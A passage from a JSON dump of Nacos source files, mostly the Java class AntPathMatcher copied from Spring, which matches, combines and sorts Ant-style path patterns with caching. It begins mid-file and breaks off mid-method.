return (this == other || (other instanceof Resource\n                && ((Resource) other).getDescription().equals(getDescription())));\n    }\n\n    /**\n     * This implementation returns the description's hash code.\n     *\n     * @see #getDescription()\n     */\n    @Override\n    public int hashCode() {\n        return getDescription().hashCode();\n    }\n\n    /**\n     * This implementation returns the description of this resource.\n     *\n     * @see #getDescription()\n     */\n    @Override\n    public String toString() {\n        return getDescription();\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/resource/AntPathMatcher.java",
    "content": "/*\n * Copyright 2002-2021 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.resource;\n\nimport com.alibaba.nacos.common.packagescan.util.PathMatcher;\nimport com.alibaba.nacos.common.packagescan.util.AbstractAssert;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * {@link PathMatcher} implementation for Ant-style path patterns.\n * Part of this mapping code has been kindly borrowed from <a href=\"https://ant.apache.org\">Apache Ant</a>.\n * The mapping matches URLs using the following rules:<br>\n * <ul>\n * <li>{@code ?} matches one character</li>\n * <li>{@code *} matches zero or more characters</li>\n * <li>{@code **} matches zero or more <em>directories</em> in a path</li>\n * <li>{@code {spring:[a-z]+}} matches the regexp {@code [a-z]+} as a path variable named \"spring\"</li>\n * </ul>\n *\n * <h3>Examples</h3>\n * <ul>\n * <li>{@code com/t?st.jsp} &mdash; matches {@code com/test.jsp} but also\n * {@code com/tast.jsp} or {@code com/txst.jsp}</li>\n * <li>{@code com/*.jsp} &mdash; matches all {@code .jsp} files in the\n * {@code com} directory</li>\n * <li><code>com/&#42;&#42;/test.jsp</code> &mdash; matches all {@code test.jsp}\n * files underneath the {@code com} path</li>\n * <li><code>org/springframework/&#42;&#42;/*.jsp</code> &mdash; matches all\n * {@code .jsp} files underneath the {@code org/springframework} path</li>\n * <li><code>org/&#42;&#42;/servlet/bla.jsp</code> &mdash; matches\n * {@code org/springframework/servlet/bla.jsp} but also\n * {@code org/springframework/testing/servlet/bla.jsp} and {@code org/servlet/bla.jsp}</li>\n * <li>{@code com/{filename:\\\\w+}.jsp} will match {@code com/test.jsp} and assign the value {@code test}\n * to the {@code filename} variable</li>\n * </ul>\n *\n * <strong>Note:</strong> a pattern and a path must both be absolute or must\n * both be relative in order for the two to match. Therefore it is recommended\n * that users of this implementation to sanitize patterns in order to prefix\n * them with \"/\" as it makes sense in the context in which they're used.\n *\n * @author Alef Arendsen\n * @author Juergen Hoeller\n * @author Rob Harrop\n * @author Arjen Poutsma\n * @author Rossen Stoyanchev\n * @author Sam Brannen\n * @author Vladislav Kisel\n * @since 16.07.2003\n */\npublic class AntPathMatcher implements PathMatcher {\n\n    /**\n     * Default path separator: \"/\".\n     */\n    public static final String DEFAULT_PATH_SEPARATOR = \"/\";\n\n    private static final int CACHE_TURNOFF_THRESHOLD = 65536;\n\n    private static final Pattern VARIABLE_PATTERN = Pattern.compile(\"\\\\{[^/]+?\\\\}\");\n\n    private static final char[] WILDCARD_CHARS = {'*', '?', '{'};\n\n    private String pathSeparator;\n\n    private PathSeparatorPatternCache pathSeparatorPatternCache;\n\n    private boolean caseSensitive = true;\n\n    private boolean trimTokens = false;\n\n    private volatile Boolean cachePatterns;\n\n    private final Map<String, String[]> tokenizedPatternCache = new ConcurrentHashMap<>(256);\n\n    final Map<String, AntPathStringMatcher> stringMatcherCache = new ConcurrentHashMap<>(256);\n\n    /**\n     * Create a new instance with the {@link #DEFAULT_PATH_SEPARATOR}.\n     */\n    public AntPathMatcher() {\n        this.pathSeparator = DEFAULT_PATH_SEPARATOR;\n        this.pathSeparatorPatternCache = new PathSeparatorPatternCache(DEFAULT_PATH_SEPARATOR);\n    }\n\n    /**\n     * A convenient, alternative constructor to use with a custom path separator.\n     *\n     * @param pathSeparator the path separator to use, must not be {@code null}.\n     * @since 4.1\n     */\n    public AntPathMatcher(String pathSeparator) {\n        AbstractAssert.notNull(pathSeparator, \"'pathSeparator' is required\");\n        this.pathSeparator = pathSeparator;\n        this.pathSeparatorPatternCache = new PathSeparatorPatternCache(pathSeparator);\n    }\n\n    /**\n     * Set the path separator to use for pattern parsing.\n     * Default is \"/\", as in Ant.\n     */\n    public void setPathSeparator(String pathSeparator) {\n        this.pathSeparator = (pathSeparator != null ? pathSeparator : DEFAULT_PATH_SEPARATOR);\n        this.pathSeparatorPatternCache = new PathSeparatorPatternCache(this.pathSeparator);\n    }\n\n    /**\n     * Specify whether to perform pattern matching in a case-sensitive fashion.\n     * Default is {@code true}. Switch this to {@code false} for case-insensitive matching.\n     *\n     * @since 4.2\n     */\n    public void setCaseSensitive(boolean caseSensitive) {\n        this.caseSensitive = caseSensitive;\n    }\n\n    /**\n     * Specify whether to trim tokenized paths and patterns.\n     * Default is {@code false}.\n     */\n    public void setTrimTokens(boolean trimTokens) {\n        this.trimTokens = trimTokens;\n    }\n\n    /**\n     * Specify whether to cache parsed pattern metadata for patterns passed\n     * into this matcher's {@link #match} method. A value of {@code true}\n     * activates an unlimited pattern cache; a value of {@code false} turns\n     * the pattern cache off completely.\n     * Default is for the cache to be on, but with the variant to automatically\n     * turn it off when encountering too many patterns to cache at runtime\n     * (the threshold is 65536), assuming that arbitrary permutations of patterns\n     * are coming in, with little chance for encountering a recurring pattern.\n     *\n     * @see #getStringMatcher(String)\n     * @since 4.0.1\n     */\n    public void setCachePatterns(boolean cachePatterns) {\n        this.cachePatterns = cachePatterns;\n    }\n\n    private void deactivatePatternCache() {\n        this.cachePatterns = false;\n        this.tokenizedPatternCache.clear();\n        this.stringMatcherCache.clear();\n    }\n\n    @Override\n    public boolean isPattern(String path) {\n        if (path == null) {\n            return false;\n        }\n        boolean uriVar = false;\n        for (int i = 0; i < path.length(); i++) {\n            char c = path.charAt(i);\n            if (c == '*' || c == '?') {\n                return true;\n            }\n            if (c == '{') {\n                uriVar = true;\n                continue;\n            }\n            if (c == '}' && uriVar) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    @Override\n    public boolean match(String pattern, String path) {\n        return doMatch(pattern, path, true, null);\n    }\n\n    @Override\n    public boolean matchStart(String pattern, String path) {\n        return doMatch(pattern, path, false, null);\n    }\n\n    /**\n     * Actually match the given {@code path} against the given {@code pattern}.\n     *\n     * @param pattern   the pattern to match against\n     * @param path      the path to test\n     * @param fullMatch whether a full pattern match is required (else a pattern match\n     *                  as far as the given base path goes is sufficient)\n     * @return {@code true} if the supplied {@code path} matched, {@code false} if it didn't\n     */\n    protected boolean doMatch(String pattern, String path, boolean fullMatch,\n                              Map<String, String> uriTemplateVariables) {\n\n        if (path == null || path.startsWith(this.pathSeparator) != pattern.startsWith(this.pathSeparator)) {\n            return false;\n        }\n\n        String[] pattDirs = tokenizePattern(pattern);\n        if (fullMatch && this.caseSensitive && !isPotentialMatch(path, pattDirs)) {\n            return false;\n        }\n\n        String[] pathDirs = tokenizePath(path);\n        int pattIdxStart = 0;\n        int pattIdxEnd = pattDirs.length - 1;\n        int pathIdxStart = 0;\n        int pathIdxEnd = pathDirs.length - 1;\n\n        // Match all elements up to the first **\n        while (pattIdxStart <= pattIdxEnd && pathIdxStart <= pathIdxEnd) {\n            String pattDir = pattDirs[pattIdxStart];\n            if (\"**\".equals(pattDir)) {\n                break;\n            }\n            if (!matchStrings(pattDir, pathDirs[pathIdxStart], uriTemplateVariables)) {\n                return false;\n            }\n            pattIdxStart++;\n            pathIdxStart++;\n        }\n\n        if (pathIdxStart > pathIdxEnd) {\n            // Path is exhausted, only match if rest of pattern is * or **'s\n            if (pattIdxStart > pattIdxEnd) {\n                return (pattern.endsWith(this.pathSeparator) == path.endsWith(this.pathSeparator));\n            }\n            if (!fullMatch) {\n                return true;\n            }\n            if (pattIdxStart == pattIdxEnd && pattDirs[pattIdxStart].equals(\"*\") && path.endsWith(this.pathSeparator)) {\n                return true;\n            }\n            for (int i = pattIdxStart; i <= pattIdxEnd; i++) {\n                if (!pattDirs[i].equals(\"**\")) {\n                    return false;\n                }\n            }\n            return true;\n        } else if (pattIdxStart > pattIdxEnd) {\n            // String not exhausted, but pattern is. Failure.\n            return false;\n        } else if (!fullMatch && \"**\".equals(pattDirs[pattIdxStart])) {\n            // Path start definitely matches due to \"**\" part in pattern.\n            return true;\n        }\n\n        // up to last '**'\n        while (pattIdxStart <= pattIdxEnd && pathIdxStart <= pathIdxEnd) {\n            String pattDir = pattDirs[pattIdxEnd];\n            if (pattDir.equals(\"**\")) {\n                break;\n            }\n            if (!matchStrings(pattDir, pathDirs[pathIdxEnd], uriTemplateVariables)) {\n                return false;\n            }\n            pattIdxEnd--;\n            pathIdxEnd--;\n        }\n        if (pathIdxStart > pathIdxEnd) {\n            // String is exhausted\n            for (int i = pattIdxStart; i <= pattIdxEnd; i++) {\n                if (!pattDirs[i].equals(\"**\")) {\n                    return false;\n                }\n            }\n            return true;\n        }\n\n        while (pattIdxStart != pattIdxEnd && pathIdxStart <= pathIdxEnd) {\n            int patIdxTmp = -1;\n            for (int i = pattIdxStart + 1; i <= pattIdxEnd; i++) {\n                if (pattDirs[i].equals(\"**\")) {\n                    patIdxTmp = i;\n                    break;\n                }\n            }\n            if (patIdxTmp == pattIdxStart + 1) {\n                // '**/**' situation, so skip one\n                pattIdxStart++;\n                continue;\n            }\n            // Find the pattern between padIdxStart & padIdxTmp in str between\n            // strIdxStart & strIdxEnd\n            int patLength = (patIdxTmp - pattIdxStart - 1);\n            int strLength = (pathIdxEnd - pathIdxStart + 1);\n            int foundIdx = -1;\n\n            strLoop:\n            for (int i = 0; i <= strLength - patLength; i++) {\n                for (int j = 0; j < patLength; j++) {\n                    String subPat = pattDirs[pattIdxStart + j + 1];\n                    String subStr = pathDirs[pathIdxStart + i + j];\n                    if (!matchStrings(subPat, subStr, uriTemplateVariables)) {\n                        continue strLoop;\n                    }\n                }\n                foundIdx = pathIdxStart + i;\n                break;\n            }\n\n            if (foundIdx == -1) {\n                return false;\n            }\n\n            pattIdxStart = patIdxTmp;\n            pathIdxStart = foundIdx + patLength;\n        }\n\n        for (int i = pattIdxStart; i <= pattIdxEnd; i++) {\n            if (!pattDirs[i].equals(\"**\")) {\n                return false;\n            }\n        }\n\n        return true;\n    }\n\n    private boolean isPotentialMatch(String path, String[] pattDirs) {\n        if (!this.trimTokens) {\n            int pos = 0;\n            for (String pattDir : pattDirs) {\n                int skipped = skipSeparator(path, pos, this.pathSeparator);\n                pos += skipped;\n                skipped = skipSegment(path, pos, pattDir);\n                if (skipped < pattDir.length()) {\n                    return (skipped > 0 || (pattDir.length() > 0 && isWildcardChar(pattDir.charAt(0))));\n                }\n                pos += skipped;\n            }\n        }\n        return true;\n    }\n\n    private int skipSegment(String path, int pos, String prefix) {\n        int skipped = 0;\n        for (int i = 0; i < prefix.length(); i++) {\n            char c = prefix.charAt(i);\n            if (isWildcardChar(c)) {\n                return skipped;\n            }\n            int currPos = pos + skipped;\n            if (currPos >= path.length()) {\n                return 0;\n            }\n            if (c == path.charAt(currPos)) {\n                skipped++;\n            }\n        }\n        return skipped;\n    }\n\n    private int skipSeparator(String path, int pos, String separator) {\n        int skipped = 0;\n        while (path.startsWith(separator, pos + skipped)) {\n            skipped += separator.length();\n        }\n        return skipped;\n    }\n\n    private boolean isWildcardChar(char c) {\n        for (char candidate : WILDCARD_CHARS) {\n            if (c == candidate) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * Tokenize the given path pattern into parts, based on this matcher's settings.\n     * Performs caching based on {@link #setCachePatterns}, delegating to\n     * {@link #tokenizePath(String)} for the actual tokenization algorithm.\n     *\n     * @param pattern the pattern to tokenize\n     * @return the tokenized pattern parts\n     */\n    protected String[] tokenizePattern(String pattern) {\n        String[] tokenized = null;\n        Boolean cachePatterns = this.cachePatterns;\n        if (cachePatterns == null || cachePatterns.booleanValue()) {\n            tokenized = this.tokenizedPatternCache.get(pattern);\n        }\n        if (tokenized == null) {\n            tokenized = tokenizePath(pattern);\n            if (cachePatterns == null && this.tokenizedPatternCache.size() >= CACHE_TURNOFF_THRESHOLD) {\n                // Try to adapt to the runtime situation that we're encountering:\n                // There are obviously too many different patterns coming in here...\n                // So let's turn off the cache since the patterns are unlikely to be reoccurring.\n                deactivatePatternCache();\n                return tokenized;\n            }\n            if (cachePatterns == null || cachePatterns.booleanValue()) {\n                this.tokenizedPatternCache.put(pattern, tokenized);\n            }\n        }\n        return tokenized;\n    }\n\n    /**\n     * Tokenize the given path into parts, based on this matcher's settings.\n     *\n     * @param path the path to tokenize\n     * @return the tokenized path parts\n     */\n    protected String[] tokenizePath(String path) {\n        return StringUtils.tokenizeToStringArray(path, this.pathSeparator, this.trimTokens, true);\n    }\n\n    /**\n     * Test whether or not a string matches against a pattern.\n     *\n     * @param pattern the pattern to match against (never {@code null})\n     * @param str     the String which must be matched against the pattern (never {@code null})\n     * @return {@code true} if the string matches against the pattern, or {@code false} otherwise\n     */\n    private boolean matchStrings(String pattern, String str,\n                                 Map<String, String> uriTemplateVariables) {\n\n        return getStringMatcher(pattern).matchStrings(str, uriTemplateVariables);\n    }\n\n    /**\n     * Build or retrieve an {@link AntPathStringMatcher} for the given pattern.\n     * The default implementation checks this AntPathMatcher's internal cache\n     * (see {@link #setCachePatterns}), creating a new AntPathStringMatcher instance\n     * if no cached copy is found.\n     * When encountering too many patterns to cache at runtime (the threshold is 65536),\n     * it turns the default cache off, assuming that arbitrary permutations of patterns\n     * are coming in, with little chance for encountering a recurring pattern.\n     * This method may be overridden to implement a custom cache strategy.\n     *\n     * @param pattern the pattern to match against (never {@code null})\n     * @return a corresponding AntPathStringMatcher (never {@code null})\n     * @see #setCachePatterns\n     */\n    protected AntPathStringMatcher getStringMatcher(String pattern) {\n        AntPathStringMatcher matcher = null;\n        Boolean cachePatterns = this.cachePatterns;\n        if (cachePatterns == null || cachePatterns.booleanValue()) {\n            matcher = this.stringMatcherCache.get(pattern);\n        }\n        if (matcher == null) {\n            matcher = new AntPathStringMatcher(pattern, this.caseSensitive);\n            if (cachePatterns == null && this.stringMatcherCache.size() >= CACHE_TURNOFF_THRESHOLD) {\n                // Try to adapt to the runtime situation that we're encountering:\n                // There are obviously too many different patterns coming in here...\n                // So let's turn off the cache since the patterns are unlikely to be reoccurring.\n                deactivatePatternCache();\n                return matcher;\n            }\n            if (cachePatterns == null || cachePatterns.booleanValue()) {\n                this.stringMatcherCache.put(pattern, matcher);\n            }\n        }\n        return matcher;\n    }\n\n    /**\n     * Given a pattern and a full path, determine the pattern-mapped part. For example: <ul>\n     * <li>'{@code /docs/cvs/commit.html}' and '{@code /docs/cvs/commit.html} &rarr; ''</li>\n     * <li>'{@code /docs/*}' and '{@code /docs/cvs/commit} &rarr; '{@code cvs/commit}'</li>\n     * <li>'{@code /docs/cvs/*.html}' and '{@code /docs/cvs/commit.html} &rarr; '{@code commit.html}'</li>\n     * <li>'{@code /docs/**}' and '{@code /docs/cvs/commit} &rarr; '{@code cvs/commit}'</li>\n     * <li>'{@code /docs/**\\/*.html}' and '{@code /docs/cvs/commit.html} &rarr; '{@code cvs/commit.html}'</li>\n     * <li>'{@code /*.html}' and '{@code /docs/cvs/commit.html} &rarr; '{@code docs/cvs/commit.html}'</li>\n     * <li>'{@code *.html}' and '{@code /docs/cvs/commit.html} &rarr; '{@code /docs/cvs/commit.html}'</li>\n     * <li>'{@code *}' and '{@code /docs/cvs/commit.html} &rarr; '{@code /docs/cvs/commit.html}'</li> </ul>\n     * Assumes that {@link #match} returns {@code true} for '{@code pattern}' and '{@code path}', but\n     * does <strong>not</strong> enforce this.\n     */\n    @Override\n    public String extractPathWithinPattern(String pattern, String path) {\n        String[] patternParts = StringUtils.tokenizeToStringArray(pattern, this.pathSeparator, this.trimTokens, true);\n        String[] pathParts = StringUtils.tokenizeToStringArray(path, this.pathSeparator, this.trimTokens, true);\n        StringBuilder builder = new StringBuilder();\n        boolean pathStarted = false;\n\n        for (int segment = 0; segment < patternParts.length; segment++) {\n            String patternPart = patternParts[segment];\n            if (patternPart.indexOf('*') > -1 || patternPart.indexOf('?') > -1) {\n                for (; segment < pathParts.length; segment++) {\n                    if (pathStarted || (segment == 0 && !pattern.startsWith(this.pathSeparator))) {\n                        builder.append(this.pathSeparator);\n                    }\n                    builder.append(pathParts[segment]);\n                    pathStarted = true;\n                }\n            }\n        }\n\n        return builder.toString();\n    }\n\n    @Override\n    public Map<String, String> extractUriTemplateVariables(String pattern, String path) {\n        Map<String, String> variables = new LinkedHashMap<>();\n        boolean result = doMatch(pattern, path, true, variables);\n        if (!result) {\n            throw new IllegalStateException(\"Pattern \\\"\" + pattern + \"\\\" is not a match for \\\"\" + path + \"\\\"\");\n        }\n        return variables;\n    }\n\n    /**\n     * Combine two patterns into a new pattern.\n     * This implementation simply concatenates the two patterns, unless\n     * the first pattern contains a file extension match (e.g., {@code *.html}).\n     * In that case, the second pattern will be merged into the first. Otherwise,\n     * an {@code IllegalArgumentException} will be thrown.\n     * <h3>Examples</h3>\n     * <table border=\"1\">\n     * <tr><th>Pattern 1</th><th>Pattern 2</th><th>Result</th></tr>\n     * <tr><td>{@code null}</td><td>{@code null}</td><td>&nbsp;</td></tr>\n     * <tr><td>/hotels</td><td>{@code null}</td><td>/hotels</td></tr>\n     * <tr><td>{@code null}</td><td>/hotels</td><td>/hotels</td></tr>\n     * <tr><td>/hotels</td><td>/bookings</td><td>/hotels/bookings</td></tr>\n     * <tr><td>/hotels</td><td>bookings</td><td>/hotels/bookings</td></tr>\n     * <tr><td>/hotels/*</td><td>/bookings</td><td>/hotels/bookings</td></tr>\n     * <tr><td>/hotels/&#42;&#42;</td><td>/bookings</td><td>/hotels/&#42;&#42;/bookings</td></tr>\n     * <tr><td>/hotels</td><td>{hotel}</td><td>/hotels/{hotel}</td></tr>\n     * <tr><td>/hotels/*</td><td>{hotel}</td><td>/hotels/{hotel}</td></tr>\n     * <tr><td>/hotels/&#42;&#42;</td><td>{hotel}</td><td>/hotels/&#42;&#42;/{hotel}</td></tr>\n     * <tr><td>/*.html</td><td>/hotels.html</td><td>/hotels.html</td></tr>\n     * <tr><td>/*.html</td><td>/hotels</td><td>/hotels.html</td></tr>\n     * <tr><td>/*.html</td><td>/*.txt</td><td>{@code IllegalArgumentException}</td></tr>\n     * </table>\n     *\n     * @param pattern1 the first pattern\n     * @param pattern2 the second pattern\n     * @return the combination of the two patterns\n     * @throws IllegalArgumentException if the two patterns cannot be combined\n     */\n    @Override\n    public String combine(String pattern1, String pattern2) {\n        if (!StringUtils.hasText(pattern1) && !StringUtils.hasText(pattern2)) {\n            return \"\";\n        }\n        if (!StringUtils.hasText(pattern1)) {\n            return pattern2;\n        }\n        if (!StringUtils.hasText(pattern2)) {\n            return pattern1;\n        }\n\n        boolean pattern1ContainsUriVar = (pattern1.indexOf('{') != -1);\n        if (!pattern1.equals(pattern2) && !pattern1ContainsUriVar && match(pattern1, pattern2)) {\n            // /* + /hotel -> /hotel ; \"/*.*\" + \"/*.html\" -> /*.html\n            // However /user + /user -> /usr/user ; /{foo} + /bar -> /{foo}/bar\n            return pattern2;\n        }\n\n        // /hotels/* + /booking -> /hotels/booking\n        // /hotels/* + booking -> /hotels/booking\n        if (pattern1.endsWith(this.pathSeparatorPatternCache.getEndsOnWildCard())) {\n            return concat(pattern1.substring(0, pattern1.length() - 2), pattern2);\n        }\n\n        // /hotels/** + /booking -> /hotels/**/booking\n        // /hotels/** + booking -> /hotels/**/booking\n        if (pattern1.endsWith(this.pathSeparatorPatternCache.getEndsOnDoubleWildCard())) {\n            return concat(pattern1, pattern2);\n        }\n\n        int starDotPos1 = pattern1.indexOf(\"*.\");\n        if (pattern1ContainsUriVar || starDotPos1 == -1 || this.pathSeparator.equals(\".\")) {\n            // simply concatenate the two patterns\n            return concat(pattern1, pattern2);\n        }\n\n        String ext1 = pattern1.substring(starDotPos1 + 1);\n        int dotPos2 = pattern2.indexOf('.');\n        String file2 = (dotPos2 == -1 ? pattern2 : pattern2.substring(0, dotPos2));\n        String ext2 = (dotPos2 == -1 ? \"\" : pattern2.substring(dotPos2));\n        boolean ext1All = (ext1.equals(\".*\") || ext1.isEmpty());\n        boolean ext2All = (ext2.equals(\".*\") || ext2.isEmpty());\n        if (!ext1All && !ext2All) {\n            throw new IllegalArgumentException(\"Cannot combine patterns: \" + pattern1 + \" vs \" + pattern2);\n        }\n        String ext = (ext1All ? ext2 : ext1);\n        return file2 + ext;\n    }\n\n    private String concat(String path1, String path2) {\n        boolean path1EndsWithSeparator = path1.endsWith(this.pathSeparator);\n        boolean path2StartsWithSeparator = path2.startsWith(this.pathSeparator);\n\n        if (path1EndsWithSeparator && path2StartsWithSeparator) {\n            return path1 + path2.substring(1);\n        } else if (path1EndsWithSeparator || path2StartsWithSeparator) {\n            return path1 + path2;\n        } else {\n            return path1 + this.pathSeparator + path2;\n        }\n    }\n\n    /**\n     * Given a full path, returns a {@link Comparator} suitable for sorting patterns in order of\n     * explicitness.\n     * This {@code Comparator} will {@linkplain List#sort(Comparator) sort}\n     * a list so that more specific patterns (without URI templates or wild cards) come before\n     * generic patterns. So given a list with the following patterns, the returned comparator\n     * will sort this list so that the order will be as indicated.\n     * <ol>\n     * <li>{@code /hotels/new}</li>\n     * <li>{@code /hotels/{hotel}}</li>\n     * <li>{@code /hotels/*}</li>\n     * </ol>\n     * The full path given as parameter is used to test for exact matches. So when the given path\n     * is {@code /hotels/2}, the pattern {@code /hotels/2} will be sorted before {@code /hotels/1}.\n     *\n     * @param path the full path to use for comparison\n     * @return a comparator capable of sorting patterns in order of explicitness\n     */\n    @Override\n    public Comparator<String> getPatternComparator(String path) {\n        return new AntPatternComparator(path);\n    }\n\n    /**\n     * Tests whether or not a string matches against a pattern via a {@link Pattern}.\n     * The pattern may contain special characters: '*' means zero or more characters; '?' means one and\n     * only one character; '{' and '}' indicate a URI template pattern. For example <tt>/users/{user}</tt>.\n     */\n    protected static class AntPathStringMatcher {\n\n        private static final Pattern GLOB_PATTERN = Pattern.compile(\"\\\\?|\\\\*|\\\\{((?:\\\\{[^/]+?\\\\}|[^/{}]|\\\\\\\\[{}])+?)\\\\}\");\n\n        private static final String DEFAULT_VARIABLE_PATTERN = \"((?s).*)\";\n\n        private final String rawPattern;\n\n        private final boolean caseSensitive;\n\n        private final boolean exactMatch;\n\n        private final Pattern pattern;\n\n        private final List<String> variableNames = new ArrayList<>();\n\n        public AntPathStringMatcher(String pattern) {\n            this(pattern, true);\n        }\n\n        public AntPathStringMatcher(String pattern, boolean caseSensitive) {\n            this.rawPattern = pattern;\n            this.caseSensitive = caseSensitive;\n            StringBuilder patternBuilder = new StringBuilder();\n            Matcher matcher = GLOB_PATTERN.matcher(pattern);\n            int end = 0;\n            while (matcher.find()) {\n                patternBuilder.append(quote(pattern, end, matcher.start()));\n                String match = matcher.group();\n                if (\"?\".equals(match)) {\n                    patternBuilder.append('.');\n                } else if (\"*\".equals(match)) {\n                    patternBuilder.append(\".*\");\n                } else if (match.startsWith(\"{\") && match.endsWith(\"}\")) {\n                    int colonIdx = match.indexOf(':');\n                    if (colonIdx == -1) {\n                        patternBuilder.append(DEFAULT_VARIABLE_PATTERN);\n                        this.variableNames.add(matcher.group(1));\n                    } else {\n                        String variablePattern = match.substring(colonIdx + 1, match.length() - 1);\n                        patternBuilder.append('(');\n                        patternBuilder.append(variablePattern);\n                        patternBuilder.append(')');\n                        String variableName = match.substring(1, colonIdx);\n                        this.variableNames.add(variableName);\n                    }\n                }\n                end = matcher.end();\n            }\n            // No glob pattern was found, this is an exact String match\n            if (end == 0) {\n                this.exactMatch = true;\n                this.pattern = null;\n            } else {\n                this.exactMatch = false;\n                patternBuilder.append(quote(pattern, end, pattern.length()));\n                this.pattern = (this.caseSensitive ? Pattern.compile(patternBuilder.toString()) :\n                        Pattern.compile(patternBuilder.toString(), Pattern.CASE_INSENSITIVE));\n            }\n        }\n\n        private String quote(String s, int start, int end) {\n            if (start == end) {\n                return \"\";\n            }\n            return Pattern.quote(s.substring(start, end));\n        }\n\n        /**\n         * Main entry point.\n         *\n         * @return {@code true} if the string matches against the pattern, or {@code false} otherwise.\n         */\n        public boolean matchStrings(String str, Map<String, String> uriTemplateVariables) {\n            if (this.exactMatch) {\n                return this.caseSensitive ? this.rawPattern.equals(str) : this.rawPattern.equalsIgnoreCase(str);\n            } else if (this.pattern != null) {\n                Matcher matcher = this.pattern.matcher(str);\n                if (matcher.matches()) {\n                    if (uriTemplateVariables != null) {\n                        if (this.variableNames.size() != matcher.groupCount()) {\n                            throw new IllegalArgumentException(\"The number of capturing groups in the pattern segment \"\n                                    + this.pattern + \" does not match the number of URI template variables it defines, \"\n                                    + \"which can occur if capturing groups are used in a URI template regex. \"\n                                    + \"Use non-capturing groups instead.\");\n                        }\n                        for (int i = 1; i <= matcher.groupCount(); i++) {\n                            String name = this.variableNames.get(i - 1);\n                            if (name.startsWith(\"*\")) {\n                                throw new IllegalArgumentException(\"Capturing patterns (\" + name + \") are not \"\n                                        + \"supported by the AntPathMatcher. Use the PathPatternParser instead.\");\n                            }\n                            String value = matcher.group(i);\n                            uriTemplateVariables.put(name, value);\n                        }\n                    }\n                    return true;\n                }\n            }\n            return false;\n        }\n\n    }\n\n    /**\n     * The default {@link Comparator} implementation returned by\n     * {@link #getPatternComparator(String)}.\n     * In order, the most \"generic\" pattern is determined by the following:\n     * <ul>\n     * <li>if it's null or a capture all pattern (i.e. it is equal to \"/**\")</li>\n     * <li>if the other pattern is an actual match</li>\n     * <li>if it's a catch-all pattern (i.e. it ends with \"**\"</li>\n     * <li>if it's got more \"*\" than the other pattern</li>\n     * <li>if it's got more \"{foo}\" than the other pattern</li>\n     * <li>if it's shorter than the other pattern</li>\n     * </ul>\n     */\n    protected static class AntPatternComparator implements Comparator<String> {\n\n        private final String path;\n\n        public AntPatternComparator(String path) {\n            this.path = path;\n        }\n\n        /**\n         * Compare two patterns to determine which should match first, i.e. which\n         * is the most specific regarding the current path.\n         *\n         * @return a negative integer, zero, or a positive integer as pattern1 is\n         * more specific, equally specific, or less specific than pattern2.\n         */\n        @Override\n        public int compare(String pattern1, String pattern2) {\n            PatternInfo info1 = new PatternInfo(pattern1);\n            PatternInfo info2 = new PatternInfo(pattern2);\n\n            if (info1.isLeastSpecific() && info2.isLeastSpecific()) {\n                return 0;\n            } else if (info1.isLeastSpecific()) {\n                return 1;\n            } else if (info2.isLeastSpecific()) {\n                return -1;\n            }\n\n            boolean pattern1EqualsPath = pattern1.equals(this.path);\n            boolean pattern2EqualsPath = pattern2.equals(this.path);\n            if (pattern1EqualsPath && pattern2EqualsPath) {\n                return 0;\n            } else if (pattern1EqualsPath) {\n                return -1;\n            } else if (pattern2EqualsPath) {\n                return 1;\n            }\n\n            if (info1.isPrefixPattern() && info2.isPrefixPattern()) {\n                return info2.getLength() - info1.getLength();\n            } else if (info1.isPrefixPattern() && info2.getDoubleWildcards() == 0) {\n                return 1;\n            } else if (info2.isPrefixPattern() && info1.getDoubleWildcards() == 0) {\n                return -1;\n            }\n\n            if (info1.getTotalCount() != info2.getTotalCount()) {\n                return info1.getTotalCount() - info2.getTotalCount();\n            }\n\n            if (info1.getLength() != info2.getLength()) {\n                return info2.getLength() - info1.getLength();\n            }\n\n            if (info1.getSingleWildcards() < info2.getSingleWildcards()) {\n                return -1;\n            } else if (info2.getSingleWildcards() < info1.getSingleWildcards()) {\n                return 1;\n            }\n\n            if (info1.getUriVars() < info2.getUriVars()) {\n                return -1;\n            } else if (info2.getUriVars() < info1.getUriVars()) {\n                return 1;\n            }\n\n            return 0;\n        }\n\n        /**\n         * Value class that holds information about the pattern, e.g. number of\n         * occurrences of \"*\", \"**\", and \"{\" pattern elements.\n         */\n        private static class PatternInfo {\n\n            private final String pattern;\n\n            private int uriVars;\n\n            private int singleWildcards;\n\n            private int doubleWildcards;\n\n            private boolean catchAllPattern;\n\n            private boolean prefixPattern;\n\n            private Integer length;\n\n            public PatternInfo(String pattern) {\n                this.pattern = pattern;\n                if (this.pattern != null) {\n                    initCounters();\n                    this.catchAllPattern = this.pattern.equals(\"/**\");\n                    this.prefixPattern = !this.catchAllPattern && this.pattern.endsWith(\"/**\");\n                }\n                if (this.uriVars == 0) {\n                    this.length = (this.pattern != null ? this.pattern.length() : 0);\n                }\n            }\n\n            protected void initCounters() {\n                int pos = 0;\n                if (this.pattern != null) {\n                    while (pos < this.pattern.length()) {\n                        if (this.pattern.charAt(pos) == '{') {\n                            this.uriVars++;\n                            pos++;\n                        } else if (this.pattern.charAt(pos) == '*') {\n                            if (pos + 1 < this.pattern.length() && this.pattern.charAt(pos + 1) == '*') {\n                                this.doubleWildcards++;\n                                pos += 2;\n                            } else if (pos > 0 && !this.pattern.substring(pos - 1).equals(\".*\")) {\n                                this.singleWildcards++;\n                                pos++;\n                            } else {\n                                pos++;\n                            }\n                        } else {\n                            pos++;\n                        }\n                    }\n                }\n            }\n\n            public int getUriVars() {\n                return this.uriVars;\n            }\n\n            public int getSingleWildcards() {\n                return this.singleWildcards;\n            }\n\n            public int 